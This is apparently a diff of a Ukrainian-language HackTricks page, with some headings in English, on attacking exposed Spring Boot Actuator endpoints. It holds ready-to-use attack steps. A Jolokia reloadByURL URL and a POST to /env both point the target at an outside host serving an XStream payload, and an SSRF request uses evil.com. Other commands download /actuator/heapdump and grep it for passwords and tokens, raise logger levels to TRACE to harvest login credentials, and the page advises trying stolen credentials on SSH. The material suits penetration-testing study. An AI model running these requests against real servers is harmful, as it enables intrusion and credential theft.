чутливі дані або дозволяти шкідливі дії: +- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, та `/heapdump`. +- У Spring Boot 1.x actuators реєструються під кореневим URL, тоді як у 2.x вони розміщуються під базовим шляхом `/actuator/`. -### **Техніки експлуатації:** +### **Exploitation Techniques:** -1. **Віддалене виконання коду через '/jolokia'**: -- Кінцева точка актора `/jolokia` відкриває бібліотеку Jolokia, яка дозволяє HTTP доступ до MBeans. -- Дію `reloadByURL` можна експлуатувати для перезавантаження конфігурацій журналювання з зовнішнього URL, що може призвести до сліпого XXE або віддаленого виконання коду через спеціально підготовлені XML конфігурації. -- Приклад URL для експлуатації: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Модифікація конфігурації через '/env'**: +1. **Remote Code Execution via '/jolokia'**: +- Еndpoint `/jolokia` відкриває Jolokia Library, яка дозволяє доступ до MBeans через HTTP. +- Дію `reloadByURL` можна експлуатувати для перезавантаження конфігурацій логування з зовнішнього URL, що може призвести до blind XXE або Remote Code Execution через спеціально сформований XML. +- Example exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. +2. **Config Modification via '/env'**: -- Якщо присутні бібліотеки Spring Cloud, кінцева точка `/env` дозволяє модифікацію властивостей середовища. -- Властивості можна маніпулювати для експлуатації вразливостей, таких як вразливість десеріалізації XStream у службі Eureka serviceURL. -- Приклад POST запиту для експлуатації: +- Якщо присутні Spring Cloud Libraries, endpoint `/env` дозволяє змінювати параметри оточення. +- Властивості можна маніпулювати для експлуатації вразливостей, наприклад вразливості десеріалізації XStream у Eureka serviceURL. +- Example exploit POST request: ``` POST /env HTTP/1.1 @@ -40,25 +40,101 @@ Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` -3. **Інші корисні налаштування**: -- Властивості, такі як `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` та `spring.datasource.tomcat.max-active`, можна маніпулювати для різних експлуатацій, таких як SQL-ін'єкція або зміна рядків підключення до бази даних. +3. **Other Useful Settings**: +- Властивості на кшталт `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, та `spring.datasource.tomcat.max-active` можна змінювати для різних експлойтів, наприклад SQL injection або зміни рядків підключення до БД. ### **Додаткова інформація:** -- Повний список стандартних актюаторів можна знайти [тут](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). -- Кінцева точка `/env` у Spring Boot 2.x використовує формат JSON для модифікації властивостей, але загальна концепція залишається такою ж. +- Повний список дефолтних actuators можна знайти [here](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Endpoint `/env` в Spring Boot 2.x використовує JSON-формат для зміни властивостей, але загальна концепція лишається тією ж. -### **Супутні теми:** +### **Пов'язані теми:** 1. **Env + H2 RCE**: -- Деталі про експлуатацію комбінації кінцевої точки `/env` та бази даних H2 можна знайти [тут](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Деталі щодо експлуатації поєднання `/env` та H2 можна знайти [here](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). -2. **SSRF на Spring Boot через неправильну інтерпретацію імені шляху**: -- Обробка матричних параметрів (`;`) у HTTP іменах шляхів фреймворком Spring може бути використана для Server-Side Request Forgery (SSRF). -- Приклад запиту для експлуатації: +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +- Обробка Spring framework matrix parameters (`;`) у HTTP-шляхах може бути використана для Server-Side Request Forgery (SSRF). +- Example exploit request: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` +## HeapDump — пошук секретів (credentials, tokens, internal URLs) + +Якщо `/actuator/heapdump` доступний, зазвичай можна отримати повний знімок JVM heap, який часто містить живі секрети (облікові дані БД, API-ключі, Basic-Auth, внутрішні URL сервісів, мапи властивостей Spring тощо). + +- Завантаження та швидка первинна перевірка: +```bash +wget http://target/actuator/heapdump -O heapdump +# Quick wins: look for HTTP auth and JDBC +strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' +# Decode any Basic credentials you find +printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d +``` + +- Глибший аналіз за допомогою VisualVM та OQL: +- Відкрийте heapdump у VisualVM, перевірте екземпляри `java.lang.String` або запустіть OQL для пошуку секретів: +``` +select s.toString() +from java.lang.String s +where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) +``` + +- Автоматизований витяг за допомогою JDumpSpider: +```bash +java -jar JDumpSpider-*.jar heapdump +``` +Типові знахідки високої цінності: +- Об’єкти Spring `DataSourceProperties` / `HikariDataSource`, що містять `url`, `username`, `password`. +- `OriginTrackedMapPropertySource` записи, що виявляють `management.endpoints.web.exposure.include`, порти сервісів і вбудований Basic-Auth у URL (наприклад Eureka `defaultZone`). +- Фрагменти HTTP запитів/відповідей у явному вигляді, що містять `Authorization: Basic ...`, захоплені в пам'яті. + +Поради: +- Використовуйте спрямований на Spring словник для швидкого виявлення actuator endpoint-ів (наприклад, SecLists spring-boot.txt) і завжди перевіряйте, чи також доступні `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` та `/actuator/configprops`. +- Облікові дані з heapdump часто працюють для суміжних сервісів і іноді для системних користувачів (SSH), тому перевіряйте їх широко. + + +## Abusing Actuator loggers/logging to capture credentials + +Якщо `management.endpoints.web.exposure.include` дозволяє і `/actuator/loggers` доступний, ви можете динамічно підвищити рівні логування до DEBUG/TRACE для пакетів, що обробляють аутентифікацію та обробку запитів. У поєднанні з доступними логами (через `/actuator/logfile` або відомі шляхи логів) це може lead to leak credentials, що відправляються під час логін-флоу (наприклад, Basic-Auth заголовки або параметри форм). + +- Перелічіть і підвищіть чутливі логери: +```bash +# List available loggers +curl -s http://target/actuator/loggers | jq . + +# Enable very verbose logs for security/web stacks (adjust as needed) +curl -s -X POST http://target/actuator/loggers/org.springframework.security \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.web \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +``` + +- Знайдіть, куди пишуться логи, і зберіть їх: +```bash +# If exposed, read from Actuator directly +curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + +# Otherwise, query env/config to locate file path +curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' +``` + +- Ініціюйте трафік логіну/автентифікації і проаналізуйте лог на наявність creds. У мікросервісних архітектурах з gateway перед аутентифікацією увімкнення TRACE для gateway/security пакетів часто робить видимими заголовки та тіла форм. Деякі середовища навіть періодично генерують синтетичний логін-трафік, що робить збір триальних простим, коли логування детальне. + +Примітки: +- Поверніть рівні логування назад після завершення: `POST /actuator/loggers/` з тілом `{ "configuredLevel": null }`. +- Якщо `/actuator/httpexchanges` доступний, він також може показувати метадані недавніх запитів, які можуть містити чутливі заголовки. + + +## Джерела + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + {{#include ../../banners/hacktricks-training.md}}